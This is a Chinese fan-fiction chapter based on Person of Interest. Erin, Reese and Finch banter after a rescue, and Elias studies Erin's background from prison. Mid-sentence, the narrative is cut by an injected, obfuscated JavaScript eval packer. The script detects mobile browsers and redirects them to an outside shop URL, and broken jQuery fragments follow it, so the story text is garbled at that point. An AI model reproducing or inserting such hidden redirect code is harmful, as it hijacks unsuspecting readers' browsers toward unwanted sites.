艾琳的手指轻轻戳在里瑟的后背上，力道轻得像是挠痒，里瑟虽然觉得有趣但没有回头，只是微微勾了下嘴角，迈步走上最后几级台阶。


    老式金属门被吱呀推开时，芬奇和艾丽西亚几乎同时抬起头，目光落在进门的两人身上，带着不同程度的审视与关切。


    “我们回来了！”艾琳第一时间朗声打招呼，仿佛在车内没经历过心情低落。


    “莱利和他的爱人已经安全上了火车。艾琳帮了大忙，她的索菲亚提前定位了人质位置，行动时也全程监控了周边情况。没有她，这次营救会更棘手，而且有索菲亚帮忙善后，比以往方便很多。”


    里瑟语调平静的说着将外套脱下，挂在衣架上检查是否沾染了血迹和污渍，随后又从后腰里取出手枪开始例行维护。


    艾琳习惯性走到芬奇面前，像是求老师表扬的学生一样静静注视着自家老板道：“怎么样？你对我有没有更放心一点？


    哈罗德·芬奇看着艾琳那双因为期待而格外明亮的眼睛，一时间微微愣了愣——此刻的她就像等待老师批改作业的学生，或者更准确地说，像一只完成了叼回飞盘任务，摇着尾巴等待夸奖的大型犬。想起今天早些时候她当自己保镖的样子，想起监控里她行动的样子，越发觉得她好像是科幻作品里快速自行切换外在表现模式的高级生化人，可机器人不会有艾琳的生动，回答和行动总是不可预测。


    “放心？”芬奇犯故意重复了一遍这个词，摘下眼镜缓缓擦拭，斟酌措辞，重新戴上后，他的目光落在艾琳脸上，嘴角浮现一丝少有的微笑，“你是在问从夜店监控里看见你穿着防弹衣迎着子弹冲进交火中心的我，有没有对你更放心一点？”


    艾琳眨了眨眼，有些不确定地歪了歪头：“嗯我大概知道你可能会找到夜店的监控观察……但我不知道你这么反问算放心还是不放心？”


    芬奇特意一字一顿地的开口回应，语气里带着一种被艾琳传染的“坦诚”：“我可能永远都不会对你‘完全放心’。因为你总会做出超出我预期的事，而我的预期已经被你刷新过太多次了。”


    艾琳依旧带着懵懂的表情追问：“所以这算是认可吗？”


    “算是。”芬奇回答时故意点了点头。


    正在保养手枪的里瑟闻言抬起头，灰绿色的眼眸里闪过一丝笑意：“哈罗德，你还是没清楚艾琳的习性，其实你对她不需要委婉迂回，尽量选择有效简洁的回应，比如这次你直说‘以后别这么冒险，尽可能在危险行动前打个招呼，能商量一下更好’就行了。”


    艾琳闻言看向里瑟：“呃……虽然很高兴约翰对我习性了解清晰，但你这么说，听起来显得我有些笨啦。”


    “不，你不是笨，只是会选择在被你划进安全区的人面前，懒得在日常对话里动脑子理解那些委婉迂回的部分。”里瑟语气里带着近乎兄长看妹妹的调笑。


    “被你看穿了，不愧是CIA老员工出身。不过这样我是不是可以认为，这里的大家都可以直来直去的提问回答？哦对了，我先回答老板的叮嘱，我会尽量先通知你们一声，让你们有个心理准备。这样行吗？”


    艾丽西亚·考文站在一旁，看着这场对话，忍不住发出一声轻笑，芬奇也挂着妥协认输的笑意点点头，随后想起什么一样突然目光转移到艾琳的帆布包道：“索菲亚今天谢谢你在行动里一路支援，多亏了你的出手，既保护了我和艾琳，也帮忙轻松善后。”


    室内的电脑音响里传来一阵短暂的电流杂音，随后索菲亚特有的嗓音响起，语气变回了正式平稳：“不客气，芬奇先生。你即是艾琳重要的老板，也是我的老板，作为团队一份子协助团队是应该的。”


    芬奇没想到索菲亚的回答是这样的，自己突然成为了一个超级AI的“老板”，不是它的使用者，也不是它的创造者，甚至不算是拥有它的管理员权限，而是和人一样的雇佣关系，想起艾琳说过索菲亚也是团队成员的话语后，他一时间心绪复杂的点头，只是这次潜意识让他转而对着那个发出索菲亚声音的音响——他不知道索菲亚此刻真正的“视野”在哪。


    艾琳听到这句话，脸上的笑容更深了，她突然想起什么一样从帆布包里掏出一条红色的不是很长的围巾，随后蹲下身，揉了揉不知什么时候蹭到她脚边的小熊脑袋。


    “今早太匆忙，差点忘记，我昨晚刷到一个帖子，有人在中央公园见到围了围巾的狗狗，照片里真的好可爱，只是多了一条围巾，就一下子可爱暴增。看！就是这样！这是我给小熊的礼物，老板你也可以带着这样的小熊外出溜。”艾琳说着就将红色围巾围在小熊的颈部，鲜艳的红围巾垂在狗狗胸前，让小熊看起来多了一份可爱和自信让人看着特别想要摸一摸狗狗的前胸。


    “的确只是多条围巾，但视觉上是变得更可爱了。”


    哈罗德·芬奇难得赞叹附和。


    艾琳在小熊身上揉够后站起身，拍了拍裤腿上的狗毛：“那今天完成了这么多惊险内容，作为对我和约翰的奖励，老板请客吃晚饭吗？里瑟先生说你在这方面从不小气。”


    芬奇缓缓转过头，看向约翰·里瑟，里瑟面不改色地拿起挂在衣架上的外套：“我只是如实转述。”


    “不是每次都是你擅自动用金额，但我为了优先救人既往不咎？”芬奇微微眯了眯眼睛，他可清楚记得约翰?里瑟曾经多少次在无关号码任务里擅自刷了自己的银行卡，虽然金额对自己的总数而言是九牛一毛，可在很多人眼里也经常是一笔不小的数字。


    “是转述你对团队成员的慷慨包容。”里瑟笑着纠正，可这个略带开玩笑和得意意味的表情看在艾琳眼里又突然让她心跳加速了几秒，她急忙转移视线到小熊身上，就见小熊又自动蹭到了里瑟的裤脚边转圈。


    “果然是丹麦酥比罐头高级的缘故吗？”艾琳蹲下身，手指轻轻挠着小熊的下巴，语气里带着一丝自己都没察觉的胜负欲。


    里


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373675|197160||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    瑟低头看了一眼脚边摇尾巴的小熊，弯腰将它颈间的红围巾稍微调整了一下语气里少有的得意：“是因为救下它的人是我，在它心里或许我就是第一位。好了，现在还是先解决我们的晚饭问题。”


    他的目光越过小熊，落在芬奇身上，眼神里带着一种笃定——他知道哈罗德不会拒绝。


    芬奇叹了口气点头道：“今天的确经历了太多事，你们也平安回来了，走吧，晚饭我请客。”


    ……


    另一边


    以利亚坐在牢房内，面前是一盘走了一半的国际象棋，眼下他又没有了值得对弈的人，只能变回自己与自己博弈。


    灯光将棋子的影子拉得很长，映在灰白的墙壁上。他手中捏着一枚白色主教，指腹摩挲着棋子底部光滑的材质肌理，却迟迟没有落下。


    桌上的一部手机亮了。


    他放下棋子，拿起手机，屏幕上是一份他等了许久的信息，标题只有简洁的“艾琳·维斯”这一个全名——原来那个神奇的少女姓维斯。


    以利亚在将这个全名记在脑海中后，滑下滑动页面，一份详细的个人报告展现出来：


    22岁，俄亥俄州人。父亲托马斯·维斯，消防员，在她14岁时因救灾殉职。母亲玛丽安·维斯，小镇医院护士，在她大二时因癌症去世。独生女，无其他直系亲属。教育经历平平无奇：


    小镇公立学校，俄亥俄州立大学平面设计专业，应届毕业生。打工经历从15岁开始，洗碗工、服务员、收银员、图书馆助理、自由设计师——种类繁多，时间线清晰，没有超过一个月的空白期。


    没有任何军事训练记录，没有任何射击俱乐部会员资格，有任何武术比赛成绩，没有驾驶特殊车辆的执照，没有任何精神科就诊记录，没有任何与情报机构、军事机构、政府机构的关联记录。她甚至还没有出过国。


    以利亚将手机放在棋盘旁边，双手交叠搁在桌面，目光停留在天花板的某一处


    ——这份公开履历太干净了。


    ——艾琳?维斯的履历的“干净”不是那种精心作假后的干净，而是近乎天然，因为时间段是连续的，甚至能够从现实里接触过的人里获得认证。


    ——可她在自己面前的表现，显然没法按照常理和一般概念里和这份履历应该有的人设对上。仅靠这种履历理论上也没法成为那个约翰?里瑟的“同事”，更不会被约翰的幕后老板当作贴身保镖带在身边。


    ——除非，自己见到的艾琳·维斯其实不是这份信息里的这位？她只是盗用了这个真实的身份信息？毕竟世上早就有这么干的人，但这也需要超高的双商和演技，可她在眼前的表现看不出欺骗和表演的一丁点痕迹，反而在秒答“不会下棋”时流露出符合外观年龄的天真。


    ——艾琳·维斯身上的谜团正好成为自己待在这里的新乐趣。


    以利亚想到这动手将棋盘收好，准备针对艾琳这个谜题，来一次解谜。